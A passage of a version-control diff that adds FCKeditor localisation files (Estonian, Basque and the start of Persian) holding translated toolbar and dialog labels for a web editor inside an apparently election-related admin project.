+DlgSpellOneChange		: "Õigekirja kontroll sooritatud: üks sõna muudeti",
+DlgSpellManyChanges		: "Õigekirja kontroll sooritatud: %1 sõna muudetud",
+
+IeSpellDownload			: "Õigekirja kontrollija ei ole installeeritud. Soovid sa selle alla laadida?",
+
+// Button Dialog
+DlgButtonText		: "Tekst (väärtus)",
+DlgButtonType		: "Tüüp",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Nimi",
+DlgCheckboxValue	: "Väärtus",
+DlgCheckboxSelected	: "Valitud",
+
+// Form Dialog
+DlgFormName		: "Nimi",
+DlgFormAction	: "Toiming",
+DlgFormMethod	: "Meetod",
+
+// Select Field Dialog
+DlgSelectName		: "Nimi",
+DlgSelectValue		: "Väärtus",
+DlgSelectSize		: "Suurus",
+DlgSelectLines		: "ridu",
+DlgSelectChkMulti	: "Võimalda mitu valikut",
+DlgSelectOpAvail	: "Võimalikud valikud",
+DlgSelectOpText		: "Tekst",
+DlgSelectOpValue	: "Väärtus",
+DlgSelectBtnAdd		: "Lisa",
+DlgSelectBtnModify	: "Muuda",
+DlgSelectBtnUp		: "Üles",
+DlgSelectBtnDown	: "Alla",
+DlgSelectBtnSetValue : "Sea valitud olekuna",
+DlgSelectBtnDelete	: "Kustuta",
+
+// Textarea Dialog
+DlgTextareaName	: "Nimi",
+DlgTextareaCols	: "Veerge",
+DlgTextareaRows	: "Ridu",
+
+// Text Field Dialog
+DlgTextName			: "Nimi",
+DlgTextValue		: "Väärtus",
+DlgTextCharWidth	: "Laius (tähemärkides)",
+DlgTextMaxChars		: "Maksimaalselt tähemärke",
+DlgTextType			: "Tüüp",
+DlgTextTypeText		: "Tekst",
+DlgTextTypePass		: "Parool",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Nimi",
+DlgHiddenValue	: "Väärtus",
+
+// Bulleted List Dialog
+BulletedListProp	: "Täpitud loetelu omadused",
+NumberedListProp	: "Nummerdatud loetelu omadused",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "Tüüp",
+DlgLstTypeCircle	: "Ring",
+DlgLstTypeDisc		: "Ketas",
+DlgLstTypeSquare	: "Ruut",
+DlgLstTypeNumbers	: "Numbrid (1, 2, 3)",
+DlgLstTypeLCase		: "Väiketähed (a, b, c)",
+DlgLstTypeUCase		: "Suurtähed (A, B, C)",
+DlgLstTypeSRoman	: "Väiksed Rooma numbrid (i, ii, iii)",
+DlgLstTypeLRoman	: "Suured Rooma numbrid (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Üldine",
+DlgDocBackTab		: "Taust",
+DlgDocColorsTab		: "Värvid ja veerised",
+DlgDocMetaTab		: "Meta andmed",
+
+DlgDocPageTitle		: "Lehekülje tiitel",
+DlgDocLangDir		: "Kirja suund",
+DlgDocLangDirLTR	: "Vasakult paremale (LTR)",
+DlgDocLangDirRTL	: "Paremalt vasakule (RTL)",
+DlgDocLangCode		: "Keele kood",
+DlgDocCharSet		: "Märgistiku kodeering",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "Ülejäänud märgistike kodeeringud",
+
+DlgDocDocType		: "Dokumendi tüüppäis",
+DlgDocDocTypeOther	: "Teised dokumendi tüüppäised",
+DlgDocIncXHTML		: "Arva kaasa XHTML deklaratsioonid",
+DlgDocBgColor		: "Taustavärv",
+DlgDocBgImage		: "Taustapildi URL",
+DlgDocBgNoScroll	: "Mittekeritav tagataust",
+DlgDocCText			: "Tekst",
+DlgDocCLink			: "Link",
+DlgDocCVisited		: "Külastatud link",
+DlgDocCActive		: "Aktiivne link",
+DlgDocMargins		: "Lehekülje äärised",
+DlgDocMaTop			: "Ülaserv",
+DlgDocMaLeft		: "Vasakserv",
+DlgDocMaRight		: "Paremserv",
+DlgDocMaBottom		: "Alaserv",
+DlgDocMeIndex		: "Dokumendi võtmesõnad (eraldatud komadega)",
+DlgDocMeDescr		: "Dokumendi kirjeldus",
+DlgDocMeAuthor		: "Autor",
+DlgDocMeCopy		: "Autoriõigus",
+DlgDocPreview		: "Eelvaade",
+
+// Templates Dialog
+Templates			: "Šabloon",
+DlgTemplatesTitle	: "Sisu šabloonid",
+DlgTemplatesSelMsg	: "Palun vali šabloon, et avada see redaktoris<br />(praegune sisu läheb kaotsi):",
+DlgTemplatesLoading	: "Laen šabloonide nimekirja. Palun oota...",
+DlgTemplatesNoTpl	: "(Ühtegi šablooni ei ole defineeritud)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "Teave",
+DlgAboutBrowserInfoTab	: "Interneti sirvija info",
+DlgAboutLicenseTab	: "Litsents",
+DlgAboutVersion		: "versioon",
+DlgAboutLicense		: "Litsenseeritud GNU Lesser General Public License litsentsiga",
+DlgAboutInfo		: "Täpsema info saamiseks mine"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/eu.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/eu.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/eu.js	(revision 44)
@@ -0,0 +1,502 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: eu.js
+ * 	Basque language file.
+ * 	Euskara hizkuntza fitxategia.
+ * 
+ * File Authors:
+ * 		Ibon Igartua (Librezale.org)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Estutu Tresna Barra",
+ToolbarExpand		: "Hedatu Tresna Barra",
+
+// Toolbar Items and Context Menu
+Save				: "Gorde",
+NewPage				: "Orrialde Berria",
+Preview				: "Aurrebista",
+Cut					: "Ebaki",
+Copy				: "Kopiatu",
+Paste				: "Itsatsi",
+PasteText			: "Itsatsi testu bezala",
+PasteWord			: "Itsatsi Word-etik",
+Print				: "Inprimatu",
+SelectAll			: "Hautatu dena",
+RemoveFormat		: "Kendu Formatoa",
+InsertLinkLbl		: "Esteka",
+InsertLink			: "Txertatu/Editatu Esteka",
+RemoveLink			: "Kendu Esteka",
+Anchor				: "Aingura",
+InsertImageLbl		: "Irudia",
+InsertImage			: "Txertatu/Editatu Irudia",
+InsertFlashLbl		: "Flasha",
+InsertFlash			: "Txertatu/Editatu Flasha",
+InsertTableLbl		: "Taula",
+InsertTable			: "Txertatu/Editatu Taula",
+InsertLineLbl		: "Lerroa",
+InsertLine			: "Txertatu Marra Horizontala",
+InsertSpecialCharLbl: "Karaktere Berezia",
+InsertSpecialChar	: "Txertatu Karaktere Berezia",
+InsertSmileyLbl		: "Aurpegierak",
+InsertSmiley		: "Txertatu Aurpegierak",
+About				: "FCKeditor-ri buruz",
+Bold				: "Lodia",
+Italic				: "Etzana",
+Underline			: "Azpimarratu",
+StrikeThrough		: "Marratua",
+Subscript			: "Azpi-indize",
+Superscript			: "Goi-indize",
+LeftJustify			: "Lerrokatu Ezkerrean",
+CenterJustify		: "Lerrokatu Erdian",
+RightJustify		: "Lerrokatu Eskuman",
+BlockJustify		: "Justifikatu",
+DecreaseIndent		: "Txikitu Koska",
+IncreaseIndent		: "Handitu Koska",
+Undo				: "Desegin",
+Redo				: "Berregin",
+NumberedListLbl		: "Zenbakidun Zerrenda",
+NumberedList		: "Txertatu/Kendu Zenbakidun zerrenda",
+BulletedListLbl		: "Buletdun Zerrenda",
+BulletedList		: "Txertatu/Kendu Buletdun zerrenda",
+ShowTableBorders	: "Erakutsi Taularen Ertzak",
+ShowDetails			: "Erakutsi Xehetasunak",
+Style				: "Estiloa",
+FontFormat			: "Formatoa",
+Font				: "Letra-tipoa",
+FontSize			: "Tamaina",
+TextColor			: "Testu Kolorea",
+BGColor				: "Atzeko kolorea",
+Source				: "HTML Iturburua",
+Find				: "Bilatu",
+Replace				: "Ordezkatu",
+SpellCheck			: "Ortografia",
+UniversalKeyboard	: "Teklatu Unibertsala",
+PageBreakLbl		: "Orrialde-jauzia",
+PageBreak			: "Txertatu Orrialde-jauzia",
+
+Form			: "Formularioa",
+Checkbox		: "Kontrol-laukia",
+RadioButton		: "Aukera-botoia",
+TextField		: "Testu Eremua",
+Textarea		: "Testu-area",
+HiddenField		: "Ezkutuko Eremua",
+Button			: "Botoia",
+SelectionField	: "Hautespen Eremua",
+ImageButton		: "Irudi Botoia",
+
+FitWindow		: "Maximizatu editorearen tamaina",
+
+// Context Menu
+EditLink			: "Aldatu Esteka",
+CellCM				: "Gelaxka",
+RowCM				: "Errenkada",
+ColumnCM			: "Zutabea",
+InsertRow			: "Txertatu Errenkada",
+DeleteRows			: "Ezabatu Errenkadak",
+InsertColumn		: "Txertatu Zutabea",
+DeleteColumns		: "Ezabatu Zutabeak",
+InsertCell			: "Txertatu Gelaxka",
+DeleteCells			: "Kendu Gelaxkak",
+MergeCells			: "Batu Gelaxkak",
+SplitCell			: "Zatitu Gelaxka",
+TableDelete			: "Ezabatu Taula",
+CellProperties		: "Gelaxkaren Ezaugarriak",
+TableProperties		: "Taularen Ezaugarriak",
+ImageProperties		: "Irudiaren Ezaugarriak",
+FlashProperties		: "Flasharen Ezaugarriak",
+
+AnchorProp			: "Ainguraren Ezaugarriak",
+ButtonProp			: "Botoiaren Ezaugarriak",
+CheckboxProp		: "Kontrol-laukiko Ezaugarriak",
+HiddenFieldProp		: "Ezkutuko Eremuaren Ezaugarriak",
+RadioButtonProp		: "Aukera-botoiaren Ezaugarriak",
+ImageButtonProp		: "Irudi Botoiaren Ezaugarriak",
+TextFieldProp		: "Testu Eremuaren Ezaugarriak",
+SelectionFieldProp	: "Hautespen Eremuaren Ezaugarriak",
+TextareaProp		: "Testu-arearen Ezaugarriak",
+FormProp			: "Formularioaren Ezaugarriak",
+
+FontFormats			: "Arrunta;Formateatua;Helbidea;Izenburua 1;Izenburua 2;Izenburua 3;Izenburua 4;Izenburua 5;Izenburua 6;Paragrafoa (DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "XHTML Prozesatzen. Itxaron mesedez...",
+Done				: "Eginda",
+PasteWordConfirm	: "Itsatsi nahi duzun textua Wordetik hartua dela dirudi. Itsatsi baino lehen garbitu nahi duzu?",
+NotCompatiblePaste	: "Komando hau Internet Explorer 5.5 bertsiorako edo ondorengoentzako erabilgarria dago. Garbitu gabe itsatsi nahi duzu?",
+UnknownToolbarItem	: "Ataza barrako elementu ezezaguna \"%1\"",
+UnknownCommand		: "Komando izen ezezaguna \"%1\"",
+NotImplemented		: "Komando ez inplementatua",
+UnknownToolbarSet	: "Ataza barra \"%1\" taldea ez da existitzen",
+NoActiveX			: "Zure nabigatzailearen segustasun hobespenak editore honen zenbait ezaugarri mugatu ditzake. \"ActiveX kontrolak eta plug-inak\" aktibatu beharko zenituzke, bestela erroreak eta ezaugarrietan mugak egon daitezke.",
+BrowseServerBlocked : "Baliabideen arakatzailea ezin da ireki. Ziurtatu popup blokeatzaileak desgaituta dituzula.",
+DialogBlocked		: "Ezin da elkarrizketa-leihoa ireki. Ziurtatu popup blokeatzaileak desgaituta dituzula.",
+
+// Dialogs
+DlgBtnOK			: "Ados",
+DlgBtnCancel		: "Utzi",
+DlgBtnClose			: "Itxi",
+DlgBtnBrowseServer	: "Zerbitzaria arakatu",
+DlgAdvancedTag		: "Aurreratua",
+DlgOpOther			: "<Bestelakoak>",
+DlgInfoTab			: "Informazioa",
+DlgAlertUrl			: "Mesedez URLa idatzi ezazu",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<Ezarri gabe>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Hizkuntzaren Norabidea",
+DlgGenLangDirLtr	: "Ezkerretik Eskumara(LTR)",
+DlgGenLangDirRtl	: "Eskumatik Ezkerrera (RTL)",
+DlgGenLangCode		: "Hizkuntza Kodea",
+DlgGenAccessKey		: "Sarbide-gakoa",
+DlgGenName			: "Izena",
+DlgGenTabIndex		: "Tabulazio Indizea",
+DlgGenLongDescr		: "URL Deskribapen Luzea",
+DlgGenClass			: "Estilo-orriko Klaseak",
+DlgGenTitle			: "Izenburua",
+DlgGenContType		: "Eduki Mota (Content Type)",
+DlgGenLinkCharset	: "Estekatutako Karaktere Multzoa",
+DlgGenStyle			: "Estiloa",
+
+// Image Dialog
+DlgImgTitle			: "Irudi Ezaugarriak",
+DlgImgInfoTab		: "Irudi informazioa",
+DlgImgBtnUpload		: "Zerbitzarira bidalia",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Gora Kargatu",
+DlgImgAlt			: "Textu Alternatiboa",
+DlgImgWidth			: "Zabalera",
+DlgImgHeight		: "Altuera",
+DlgImgLockRatio		: "Erlazioa Blokeatu",
+DlgBtnResetSize		: "Tamaina Berrezarri",
+DlgImgBorder		: "Ertza",
+DlgImgHSpace		: "HSpace",
+DlgImgVSpace		: "VSpace",
+DlgImgAlign			: "Lerrokatu",
+DlgImgAlignLeft		: "Ezkerrera",
+DlgImgAlignAbsBottom: "Abs Behean",
+DlgImgAlignAbsMiddle: "Abs Erdian",
+DlgImgAlignBaseline	: "Oinan",
+DlgImgAlignBottom	: "Behean",
+DlgImgAlignMiddle	: "Erdian",
+DlgImgAlignRight	: "Eskuman",
+DlgImgAlignTextTop	: "Testua Goian",
+DlgImgAlignTop		: "Goian",
+DlgImgPreview		: "Aurrebista",
+DlgImgAlertUrl		: "Mesedez Irudiaren URLa idatzi",
+DlgImgLinkTab		: "Esteka",
+
+// Flash Dialog
+DlgFlashTitle		: "Flasharen Ezaugarriak",
+DlgFlashChkPlay		: "Automatikoki Erreproduzitu",
+DlgFlashChkLoop		: "Begizta",
+DlgFlashChkMenu		: "Flasharen Menua Gaitu",
+DlgFlashScale		: "Eskalatu",
+DlgFlashScaleAll	: "Dena erakutsi",
+DlgFlashScaleNoBorder	: "Ertzarik gabe",
+DlgFlashScaleFit	: "Doitu",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Esteka",
+DlgLnkInfoTab		: "Estekaren Informazioa",
+DlgLnkTargetTab		: "Helburua",
+
+DlgLnkType			: "Esteka Mota",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Aingura horrialde honentan",
+DlgLnkTypeEMail		: "ePosta",
+DlgLnkProto			: "Protokoloa",
+DlgLnkProtoOther	: "<Beste batzuk>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Aingura bat hautatu",
+DlgLnkAnchorByName	: "Aingura izenagatik",
+DlgLnkAnchorById	: "Elementuaren ID-gatik",
+DlgLnkNoAnchors		: "<Ez daude aingurak eskuragarri dokumentuan>",
+DlgLnkEMail			: "ePosta Helbidea",
+DlgLnkEMailSubject	: "Mezuaren Gaia",
+DlgLnkEMailBody		: "Mezuaren Gorputza",
+DlgLnkUpload		: "Gora kargatu",
+DlgLnkBtnUpload		: "Zerbitzarira bidali",
+
+DlgLnkTarget		: "Target (Helburua)",
+DlgLnkTargetFrame	: "<marko>",
+DlgLnkTargetPopup	: "<popup lehioa>",
+DlgLnkTargetBlank	: "Lehio Berria (_blank)",
+DlgLnkTargetParent	: "Lehio Gurasoa (_parent)",
+DlgLnkTargetSelf	: "Lehio Berdina (_self)",
+DlgLnkTargetTop		: "Goiko Lehioa (_top)",
+DlgLnkTargetFrameName	: "Marko Helburuaren Izena",
+DlgLnkPopWinName	: "Popup Lehioaren Izena",
+DlgLnkPopWinFeat	: "Popup Lehioaren Ezaugarriak",
+DlgLnkPopResize		: "Tamaina Aldakorra",
+DlgLnkPopLocation	: "Kokaleku Barra",
+DlgLnkPopMenu		: "Menu Barra",
+DlgLnkPopScroll		: "Korritze Barrak",
+DlgLnkPopStatus		: "Egoera Barra",
+DlgLnkPopToolbar	: "Tresna Barra",
+DlgLnkPopFullScrn	: "Pantaila Osoa (IE)",
+DlgLnkPopDependent	: "Menpekoa (Netscape)",
+DlgLnkPopWidth		: "Zabalera",
+DlgLnkPopHeight		: "Altuera",
+DlgLnkPopLeft		: "Ezkerreko  Posizioa",
+DlgLnkPopTop		: "Goiko Posizioa",
+
+DlnLnkMsgNoUrl		: "Mesedez URL esteka idatzi",
+DlnLnkMsgNoEMail	: "Mesedez ePosta helbidea idatzi",
+DlnLnkMsgNoAnchor	: "Mesedez aingura bat aukeratu",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",	//MISSING
+
+// Color Dialog
+DlgColorTitle		: "Kolore Aukeraketa",
+DlgColorBtnClear	: "Garbitu",
+DlgColorHighlight	: "Nabarmendu",
+DlgColorSelected	: "Aukeratuta",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Aurpegiera Sartu",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Karaktere Berezia Aukeratu",
+
+// Table Dialog
+DlgTableTitle		: "Taularen Ezaugarriak",
+DlgTableRows		: "Lerroak",
+DlgTableColumns		: "Zutabeak",
+DlgTableBorder		: "Ertzaren Zabalera",
+DlgTableAlign		: "Lerrokatu",
+DlgTableAlignNotSet	: "<Ezarri gabe>",
+DlgTableAlignLeft	: "Ezkerrean",
+DlgTableAlignCenter	: "Erdian",
+DlgTableAlignRight	: "Eskuman",
+DlgTableWidth		: "Zabalera",
+DlgTableWidthPx		: "pixel",
+DlgTableWidthPc		: "ehuneko",
+DlgTableHeight		: "Altuera",
+DlgTableCellSpace	: "Gelaxka arteko tartea",
+DlgTableCellPad		: "Gelaxken betegarria",
+DlgTableCaption		: "Epigrafea",
+DlgTableSummary		: "Laburpena",
+
+// Table Cell Dialog
+DlgCellTitle		: "Gelaxken Ezaugarriak",
+DlgCellWidth		: "Zabalera",
+DlgCellWidthPx		: "pixel",
+DlgCellWidthPc		: "ehuneko",
+DlgCellHeight		: "Altuera",
+DlgCellWordWrap		: "Itzulbira",
+DlgCellWordWrapNotSet	: "<Ezarri gabe>",
+DlgCellWordWrapYes	: "Bai",
+DlgCellWordWrapNo	: "Ez",
+DlgCellHorAlign		: "Horizontal Alignment",
+DlgCellHorAlignNotSet	: "<Ezarri gabe>",
+DlgCellHorAlignLeft	: "Ezkerrean",
+DlgCellHorAlignCenter	: "Erdian",
+DlgCellHorAlignRight: "Eskuman",
+DlgCellVerAlign		: "Lerrokatu Bertikalki",
+DlgCellVerAlignNotSet	: "<Ezarri gabe>",
+DlgCellVerAlignTop	: "Goian",
+DlgCellVerAlignMiddle	: "Erdian",
+DlgCellVerAlignBottom	: "Behean",
+DlgCellVerAlignBaseline	: "Oinan",
+DlgCellRowSpan		: "Lerroak Hedatu",
+DlgCellCollSpan		: "Zutabeak Hedatu",
+DlgCellBackColor	: "Atzeko Kolorea",
+DlgCellBorderColor	: "Ertzako Kolorea",
+DlgCellBtnSelect	: "Aukertau...",
+
+// Find Dialog
+DlgFindTitle		: "Bilaketa",
+DlgFindFindBtn		: "Bilatu",
+DlgFindNotFoundMsg	: "Idatzitako testua ez da topatu.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Ordeztu",
+DlgReplaceFindLbl		: "Zer bilatu:",
+DlgReplaceReplaceLbl	: "Zerekin ordeztu:",
+DlgReplaceCaseChk		: "Maiuskula/minuskula",
+DlgReplaceReplaceBtn	: "Ordeztu",
+DlgReplaceReplAllBtn	: "Ordeztu Guztiak",
+DlgReplaceWordChk		: "Esaldi osoa bilatu",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Zure web nabigatzailearen segurtasun ezarpenak testuak automatikoki itsastea ez dute baimentzen. Mesedez teklatua erabili ezazu (Ctrl+V).",
+PasteErrorCut	: "Zure web nabigatzailearen segurtasun ezarpenak testuak automatikoki moztea ez dute baimentzen. Mesedez teklatua erabili ezazu (Ctrl+X).",
+PasteErrorCopy	: "Zure web nabigatzailearen segurtasun ezarpenak testuak automatikoki kopiatzea ez dute baimentzen. Mesedez teklatua erabili ezazu (Ctrl+C).",
+
+PasteAsText		: "Testu Arrunta bezala Itsatsi",
+PasteFromWord	: "Word-etik itsatsi",
+
+DlgPasteMsg2	: "Mesedez teklatua erabilita (<STRONG>Ctrl+V</STRONG>) ondorego eremuan testua itsatsi eta <STRONG>OK</STRONG> sakatu.",
+DlgPasteIgnoreFont		: "Letra Motaren definizioa ezikusi",
+DlgPasteRemoveStyles	: "Estilo definizioak kendu",
+DlgPasteCleanBox		: "Testu-eremua Garbitu",
+
+// Color Picker
+ColorAutomatic	: "Automatikoa",
+ColorMoreColors	: "Kolore gehiago...",
+
+// Document Properties
+DocProps		: "Dokumentuaren Ezarpenak",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Ainguraren Ezaugarriak",
+DlgAnchorName		: "Ainguraren Izena",
+DlgAnchorErrorName	: "Idatzi ainguraren izena",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Ez dago hiztegian",
+DlgSpellChangeTo		: "Honekin ordezkatu",
+DlgSpellBtnIgnore		: "Ezikusi",
+DlgSpellBtnIgnoreAll	: "Denak Ezikusi",
+DlgSpellBtnReplace		: "Ordezkatu",
+DlgSpellBtnReplaceAll	: "Denak Ordezkatu",
+DlgSpellBtnUndo			: "Desegin",
+DlgSpellNoSuggestions	: "- Iradokizunik ez -",
+DlgSpellProgress		: "Zuzenketa ortografikoa martxan...",
+DlgSpellNoMispell		: "Zuzenketa ortografikoa bukatuta: Akatsik ez",
+DlgSpellNoChanges		: "Zuzenketa ortografikoa bukatuta: Ez da ezer aldatu",
+DlgSpellOneChange		: "Zuzenketa ortografikoa bukatuta: Hitz bat aldatu da",
+DlgSpellManyChanges		: "Zuzenketa ortografikoa bukatuta: %1 hitz aldatu dira",
+
+IeSpellDownload			: "Zuzentzaile ortografikoa ez dago instalatuta. Deskargatu nahi duzu?",
+
+// Button Dialog
+DlgButtonText		: "Testua (Balorea)",
+DlgButtonType		: "Mota",
+DlgButtonTypeBtn	: "Button",	//MISSING
+DlgButtonTypeSbm	: "Submit",	//MISSING
+DlgButtonTypeRst	: "Reset",	//MISSING
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Izena",
+DlgCheckboxValue	: "Balorea",
+DlgCheckboxSelected	: "Hautatuta",
+
+// Form Dialog
+DlgFormName		: "Izena",
+DlgFormAction	: "Ekintza",
+DlgFormMethod	: "Method",
+
+// Select Field Dialog
+DlgSelectName		: "Izena",
+DlgSelectValue		: "Balorea",
+DlgSelectSize		: "Tamaina",
+DlgSelectLines		: "lerro kopurura",
+DlgSelectChkMulti	: "Hautaketa anitzak baimendu",
+DlgSelectOpAvail	: "Aukera Eskuragarriak",
+DlgSelectOpText		: "Testua",
+DlgSelectOpValue	: "Balorea",
+DlgSelectBtnAdd		: "Gehitu",
+DlgSelectBtnModify	: "Aldatu",
+DlgSelectBtnUp		: "Gora",
+DlgSelectBtnDown	: "Behera",
+DlgSelectBtnSetValue : "Aukeratutako balorea ezarri",
+DlgSelectBtnDelete	: "Ezabatu",
+
+// Textarea Dialog
+DlgTextareaName	: "Izena",
+DlgTextareaCols	: "Zutabeak",
+DlgTextareaRows	: "Lerroak",
+
+// Text Field Dialog
+DlgTextName			: "Izena",
+DlgTextValue		: "Balorea",
+DlgTextCharWidth	: "Zabalera",
+DlgTextMaxChars		: "Zenbat karaktere gehienez",
+DlgTextType			: "Mota",
+DlgTextTypeText		: "Testua",
+DlgTextTypePass		: "Pasahitza",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Izena",
+DlgHiddenValue	: "Balorea",
+
+// Bulleted List Dialog
+BulletedListProp	: "Buletdun Zerrendaren Ezarpenak",
+NumberedListProp	: "Zenbakidun Zerrendaren Ezarpenak",
+DlgLstStart			: "Start",	//MISSING
+DlgLstType			: "Mota",
+DlgLstTypeCircle	: "Zirkulua",
+DlgLstTypeDisc		: "Diskoa",
+DlgLstTypeSquare	: "Karratua",
+DlgLstTypeNumbers	: "Zenbakiak (1, 2, 3)",
+DlgLstTypeLCase		: "Letra xeheak (a, b, c)",
+DlgLstTypeUCase		: "Letra larriak (A, B, C)",
+DlgLstTypeSRoman	: "Erromatar zenbaki zeheak (i, ii, iii)",
+DlgLstTypeLRoman	: "Erromatar zenbaki larriak (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "Orokorra",
+DlgDocBackTab		: "Atzekaldea",
+DlgDocColorsTab		: "Koloreak eta Marjinak",
+DlgDocMetaTab		: "Meta Informazioa",
+
+DlgDocPageTitle		: "Orriaren Izenburua",
+DlgDocLangDir		: "Hizkuntzaren Norabidea",
+DlgDocLangDirLTR	: "Ezkerretik eskumara (LTR)",
+DlgDocLangDirRTL	: "Eskumatik ezkerrera (RTL)",
+DlgDocLangCode		: "Hizkuntzaren Kodea",
+DlgDocCharSet		: "Karaktere Multzoaren Kodeketa",
+DlgDocCharSetCE		: "Central European",	//MISSING
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",	//MISSING
+DlgDocCharSetCR		: "Cyrillic",	//MISSING
+DlgDocCharSetGR		: "Greek",	//MISSING
+DlgDocCharSetJP		: "Japanese",	//MISSING
+DlgDocCharSetKR		: "Korean",	//MISSING
+DlgDocCharSetTR		: "Turkish",	//MISSING
+DlgDocCharSetUN		: "Unicode (UTF-8)",	//MISSING
+DlgDocCharSetWE		: "Western European",	//MISSING
+DlgDocCharSetOther	: "Beste Karaktere Multzoaren Kodeketa",
+
+DlgDocDocType		: "Document Type Goiburua",
+DlgDocDocTypeOther	: "Beste Document Type Goiburua",
+DlgDocIncXHTML		: "XHTML Ezarpenak",
+DlgDocBgColor		: "Atzeko Kolorea",
+DlgDocBgImage		: "Atzeko Irudiaren URL-a",
+DlgDocBgNoScroll	: "Korritze gabeko Atzekaldea",
+DlgDocCText			: "Testua",
+DlgDocCLink			: "Estekak",
+DlgDocCVisited		: "Bisitatutako Estekak",
+DlgDocCActive		: "Esteka Aktiboa",
+DlgDocMargins		: "Orrialdearen marjinak",
+DlgDocMaTop			: "Goian",
+DlgDocMaLeft		: "Ezkerrean",
+DlgDocMaRight		: "Eskuman",
+DlgDocMaBottom		: "Behean",
+DlgDocMeIndex		: "Dokumentuaren Gako-hitzak (komarekin bananduta)",
+DlgDocMeDescr		: "Dokumentuaren Deskribapena",
+DlgDocMeAuthor		: "Egilea",
+DlgDocMeCopy		: "Copyright",
+DlgDocPreview		: "Aurrebista",
+
+// Templates Dialog
+Templates			: "Txantiloiak",
+DlgTemplatesTitle	: "Eduki Txantiloiak",
+DlgTemplatesSelMsg	: "Mesedez txantiloia aukeratu editorean kargatzeko<br>(orain dauden edukiak galduko dira):",
+DlgTemplatesLoading	: "Txantiloiak kargatzen. Itxaron mesedez...",
+DlgTemplatesNoTpl	: "(Ez dago definitutako txantiloirik)",
+DlgTemplatesReplace	: "Replace actual contents",	//MISSING
+
+// About Dialog
+DlgAboutAboutTab	: "Honi buruz",
+DlgAboutBrowserInfoTab	: "Nabigatzailearen Informazioa",
+DlgAboutLicenseTab	: "Lizentzia",
+DlgAboutVersion		: "bertsioa",
+DlgAboutLicense		: "GNU Lesser General Public License Lizentziapean",
+DlgAboutInfo		: "Informazio gehiago eskuratzeko hona joan"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/fa.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/fa.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/fa.js	(revision 44)
@@ -0,0 +1,502 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fa.js
+ * 	Persian language file.
+ * 
+ * File Authors:
+ * 		Hamed Taj-Abadi (hamed@ranginkaman.com)
+ * 		Pooyan Mahdavi (pooyanmx -@- gmail -.- com)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "rtl",
+
+ToolbarCollapse		: "برچیدن نوارابزار",
+ToolbarExpand		: "گستردن نوارابزار",
+
+// Toolbar Items and Context Menu
+Save				: "ذخیره",
+NewPage				: "برگهٴ تازه",
+Preview				: "پیش‌نمایش",
+Cut					: "برش",
+Copy				: "کپی",
+Paste				: "چسباندن",
+PasteText			: "چسباندن به عنوان متن ِساده",
+PasteWord			: "چسباندن از Word",
+Print				: "چاپ",
+SelectAll			: "گزینش همه",
+RemoveFormat		: "برداشتن فرمت",
+InsertLinkLbl		: "پیوند",
+InsertLink			: "گنجاندن/ویرایش ِپیوند",
+RemoveLink			: "برداشتن پیوند",
+Anchor				: "گنجاندن/ویرایش ِلنگر",
+InsertImageLbl		: "تصویر",
+InsertImage			: "گنجاندن/ویرایش ِتصویر",
+InsertFlashLbl		: "Flash",
